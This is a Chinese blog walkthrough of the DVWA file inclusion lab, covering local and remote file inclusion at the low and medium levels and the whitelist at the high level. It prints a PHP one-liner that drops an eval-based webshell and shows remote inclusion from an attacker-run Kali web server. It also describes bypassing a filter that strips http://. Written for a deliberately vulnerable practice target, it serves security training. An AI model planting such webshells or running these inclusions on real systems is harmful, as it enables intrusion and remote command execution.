DVWA文件包含漏洞(file inclusion)

目录

1、low级别

1.1 本地文件包含

1.2 远程文件包含

2、medium级别

3、high级别


文件包含漏洞是在主机要执行的文件中添加包含木马的文件。

low级别和medium级别分别有远程文件包含(RFI)和本地文件包含(LFI),high级别使用了白名单,无法绕过。

1、low级别

1.1 本地文件包含

在 https://blog.csdn.net/kirito_pio/article/details/106547336 中,完成了对各个级别的文件上传,但是在执行high级别时只进行了上传,不能使用菜刀,因为图片是静态的文件,不能自己执行,需要等待请求。

图片中包含的一句话脚本如下,可以在执行时新建并写入一个php文件。

 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

对low级别的代码如下,直接对资源进行访问,不设置过滤。


<?php

    $file = $_GET['page']; //The page we wish to display 

?>

先根据 https://blog.csdn.net/kirito_pio/article/details/106547336 high级别进行图片的上传。

再切换到file inclusion,输入上传文件的网址,记得要把安全级别切换到low,high的话不会成功;如果出现各种字符,说明读取到了文件。

为了验证结果,可以去靶机下的/var/www/dvwa/vulnerabilities/fi进行查看,会发现增加了shell.php文件;最后可以通过菜刀对文件进行增删进行验证。

1.2 远程文件包含

远程文件包含是主机访问远端的一个服务器,所以要设置一个服务器,可以使用kali。

首先,保证靶机的allow_url_fopen是开启的(保证可以使用URL去包含文件),文件路径是/etc/php5/cli/php.ini

第二步,搭建服务器。我使用的是kali(ip:192.168.5.131),使用命令systemctl start apache2 开启服务,用systemctl status apache2检测状态。

kali存放网络文件的路径为/var/www/html,把需要访问的shell文件放在此路径下。

注意:此处的shell文件的类型不能设为.php,我用的是.txt。

第三步,进行访问。在 page= 后加入网址。

第四步,进行验证。和之前一样,使用菜刀;也可以去靶机的/var/www/dvwa/vulnerabilities/fi路径下进行查看,多了shell.php文件。

2、medium级别

对于网站的php代码,增加了对http/https协议的过滤。


<?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        


?>

因为本地文件包含不涉及http协议,所以,medium级别下本地文件包含和low级别下没有区别

远程文件包含,代码会筛选出http://和https://并删除,所以可以在之前的low级别下输入的网址进行插入。

其他操作均与low相同。

3、high级别

high级别是安全的。代码如下,指定了执行的白名单,只允许特定的文件执行。


<?php
        
    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
  

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值